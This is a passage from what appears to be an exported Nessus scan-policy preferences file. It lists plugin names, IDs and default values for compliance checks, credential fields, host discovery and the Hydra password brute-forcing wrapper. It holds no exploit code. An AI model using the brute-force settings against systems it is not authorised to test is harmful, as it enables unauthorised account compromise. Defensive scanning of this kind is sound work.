screenshot of the public targets +Allow Nessus to connect to the cloud to take a screenshot of the public targets +checkbox +no +no + +HTTP cookies import +42893 +HTTP cookies import[file]:Cookies file : +Cookies file : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Hydra: Cisco enable +15870 +Hydra: Cisco enable[entry]:Logon password : +Logon password : +entry + + + +Hydra: HTTP +15873 +Hydra: HTTP[entry]:Web page : +Web page : +entry + + + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Always enable Hydra (slow) +Always enable Hydra (slow) +checkbox +no +no + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[file]:Logins file : +Logins file : +file + + + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[file]:Passwords file : +Passwords file : +file + + + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[entry]:Number of parallel tasks : +Number of parallel tasks : +entry +16 +16 + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[entry]:Timeout (in seconds) : +Timeout (in seconds) : +entry +30 +30 + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Try empty passwords +Try empty passwords +checkbox +yes +yes + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Try login as password +Try login as password +checkbox +yes +yes + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Exit as soon as an account is found +Exit as soon as an account is found +checkbox +no +no + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Add accounts found by other plugins to login file +Add accounts found by other plugins to login file +checkbox +yes +yes + +Hydra: LDAP +15877 +Hydra: LDAP[entry]:DN : +DN : +entry + + + +Hydra: HTTP proxy +15874 +Hydra: HTTP proxy[entry]:Web site (optional) : +Web site (optional) : +entry + + + +Hydra: SMB +15884 +Hydra: SMB[radio]:Check local / domain accounts +Check local / domain accounts +radio +Local accounts; Domain Accounts; Either +Local accounts; Domain Accounts; Either + +Hydra: SMB +15884 +Hydra: SMB[checkbox]:Interpret passwords as NTLM hashes +Interpret passwords as NTLM hashes +checkbox +no +no + +Hydra: PostgreSQL +18660 +Hydra: PostgreSQL[entry]:Database name (optional) : +Database name (optional) : +entry + + + +Hydra: SAP R3 +15883 +Hydra: SAP R3[entry]:Client ID (between 0 and 99) : +Client ID (between 0 and 99) : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server : +Web Reports Server : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port : +Web Reports Port : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username : +Web Reports Username : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password : +Web Reports Password : +password + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL : +SSL : +checkbox +no +no + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Active Outbound Connection to Host Listed in Known Bot Database +58430 +Active Outbound Connection to Host Listed in Known Bot Database[file]:Custom Netstat IP Threat List : +Custom Netstat IP Threat List : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[entry]:Login : +Login : +entry + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[password]:Password : +Password : +password + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) : +Kerberos Key Distribution Center (KDC) : +entry + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos KDC Port : +Kerberos KDC Port : +entry +88 +88 + +Kerberos configuration +17351 +Kerberos configuration[radio]:Kerberos KDC Transport : +Kerberos KDC Transport : +radio +tcp +tcp + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Realm (SSH only) : +Kerberos Realm (SSH only) : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:LDAP user : +LDAP user : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[password]:LDAP password : +LDAP password : +password + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:Max results : +Max results : +entry +1000 +1000 + +Login configurations +10870 +Login configurations[entry]:HTTP account : +HTTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:HTTP password (sent in clear) : +HTTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:NNTP account : +NNTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:NNTP password (sent in clear) : +NNTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:FTP account : +FTP account : +entry +anonymous +anonymous + +Login configurations +10870 +Login configurations[password]:FTP password (sent in clear) : +FTP password (sent in clear) : +password +nessus@nessus.org +********* + +Login configurations +10870 +Login configurations[entry]:FTP writeable directory : +FTP writeable directory : +entry +/incoming +/incoming + +Login configurations +10870 +Login configurations[entry]:POP2 account : +POP2 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP2 password (sent in clear) : +POP2 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:POP3 account : +POP3 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP3 password (sent in clear) : +POP3 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IMAP account : +IMAP account : +entry + + + +Login configurations +10870 +Login configurations[password]:IMAP password (sent in clear) : +IMAP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IPMI account : +IPMI account : +entry + + + +Login configurations +10870 +Login configurations[password]:IPMI password (sent in clear) : +IPMI password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB account : +SMB account : +entry + + + +Login configurations +10870 +Login configurations[password]:SMB password : +SMB password : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB domain (optional) : +SMB domain (optional) : +entry + + + +Login configurations +10870 +Login configurations[radio]:SMB password type : +SMB password type : +radio +Password;LM Hash;NTLM Hash +Password;LM Hash;NTLM Hash + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (1) : +Additional SMB account (1) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (1) : +Additional SMB password (1) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (1) : +Additional SMB domain (optional) (1) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (2) : +Additional SMB account (2) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (2) : +Additional SMB password (2) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (2) : +Additional SMB domain (optional) (2) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (3) : +Additional SMB account (3) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (3) : +Additional SMB password (3) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (3) : +Additional SMB domain (optional) (3) : +entry + + + +Login configurations +10870 +Login configurations[checkbox]:Never send SMB credentials in clear text +Never send SMB credentials in clear text +checkbox +yes +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use NTLMv2 +Only use NTLMv2 +checkbox +no +no + +Login configurations +10870 +Login configurations[checkbox]:Only use Kerberos authentication for SMB +Only use Kerberos authentication for SMB +checkbox +no +no + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Username : +Username : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[password]:Password : +Password : +password + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Root URL : +Root URL : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Platform ID : +Platform ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Billing ID : +Billing ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App ID : +App ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App version : +App version : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App access key : +App access key : +entry + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron VSP Admin Portal URL : +MobileIron VSP Admin Portal URL : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron port : +MobileIron port : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron username : +MobileIron username : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[password]:MobileIron password : +MobileIron password : +password + + + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Username : +Username : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[password]:Password : +Password : +password + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Database for authentication : +Database for authentication : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Port : +Port : +entry +27017 +27017 + +Nessus TCP scanner +10335 +Nessus TCP scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) + +Nessus SYN scanner +11219 +Nessus SYN scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +OpenStack Settings +86348 +OpenStack Settings[entry]:Username : +Username : +entry + + + +OpenStack Settings +86348 +OpenStack Settings[entry]:Tenant Name for Authentication : +Tenant Name for Authentication : +entry +admin +admin + +OpenStack Settings +86348 +OpenStack Settings[password]:Password : +Password : +password + + + +OpenStack Settings +86348 +OpenStack Settings[entry]:Port : +Port : +entry +443 +443 + +OpenStack Settings +86348 +OpenStack Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +OpenStack Settings +86348 +OpenStack Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +Oracle Settings +22076 +Oracle Settings[radio]:Oracle service type : +Oracle service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Oracle Settings +22076 +Oracle Settings[entry]:Oracle SID : +Oracle SID : +entry + + + +Oracle Settings +22076 +Oracle Settings[checkbox]:Test default accounts (slow) +Test default accounts (slow) +checkbox +no +no + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Username : +Palo Alto Username : +entry + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[password]:Palo Alto Password : +Palo Alto Password : +password + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Port : +Palo Alto Port : +entry +443 +443 + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Patch Report +66334 +Patch Report[checkbox]:Display the superseded patches in the report +Display the superseded patches in the report +checkbox +yes +yes + +PCI DSS compliance +33929 +PCI DSS compliance[checkbox]:Check for PCI-DSS compliance +Check for PCI-DSS compliance +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[entry]:TCP ping destination port(s) : +TCP ping destination port(s) : +entry +built-in +built-in + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ARP ping +Do an ARP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do a TCP ping +Do a TCP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ICMP ping +Do an ICMP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[entry]:Number of retries (ICMP) : +Number of retries (ICMP) : +entry +2 +2 + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...) +Do an applicative UDP ping (DNS,RPC...) +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Make the dead hosts appear in the report +Make the dead hosts appear in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Log live hosts in the report +Log live hosts in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Test the local Nessus host +Test the local Nessus host +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Fast network discovery +Fast network discovery +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Interpret ICMP unreach from gateway +Interpret ICMP unreach from gateway +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators +Check open TCP ports found by local port enumerators +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed +Only run network port scanners if local port enumeration failed +checkbox +yes +yes + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Rackspace Settings +79355 +Rackspace Settings[entry]:Username : +Username : +entry + + + +Rackspace Settings +79355 +Rackspace Settings[password]:Password or API Key : +Password or API Key : +password + + + +Rackspace Settings +79355 +Rackspace Settings[radio]:Authentication Method : +Authentication Method : +radio +API-Key;Password +API-Key;Password + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Dallas-Fort Worth (DFW) : +Dallas-Fort Worth (DFW) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Chicago (ORD) : +Chicago (ORD) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Northern Virginia (IAD) : +Northern Virginia (IAD) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:London (LON) : +London (LON) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Sydney (SYD) : +Sydney (SYD) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Hong Kong (HKG) : +Hong Kong (HKG) : +checkbox +yes +yes + +RHEV Settings +77089 +RHEV Settings[entry]:Username : +Username : +entry + + + +RHEV Settings +77089 +RHEV Settings[password]:Password : +Password : +password + + + +RHEV Settings +77089 +RHEV Settings[entry]:Port : +Port : +entry +443 +443 + +RHEV Settings +77089 +RHEV Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[entry]:Username : +Username : +entry + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[password]:Password : +Password : +password + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Server : +Satellite 6 Server : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Port : +Satellite 6 Port : +entry +443 +443 + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Use SSL : +Satellite 6 Use SSL : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Verify Certificate : +Satellite 6 Verify Certificate : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Username : +Satellite 6 Username : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[password]:Satellite 6 Password : +Satellite 6 Password : +password + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] : +Red Hat Satellite server(s) [separated w/ semicolons] : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) : +Red Hat Satellite port(s) : +entry +443 +443 + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[checkbox]:Verify SSL certificates : +Verify SSL certificates : +checkbox +no +no + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) : +Red Hat Satellite username(s) : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) : +Red Hat Satellite password(s) : +password + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Start COTP TSAP : +Start COTP TSAP : +entry +8 +8 + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Stop COTP TSAP : +Stop COTP TSAP : +entry +8 +8 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:Start reg : +Start reg : +entry +0 +0 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:End reg : +End reg : +entry +16 +16 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + 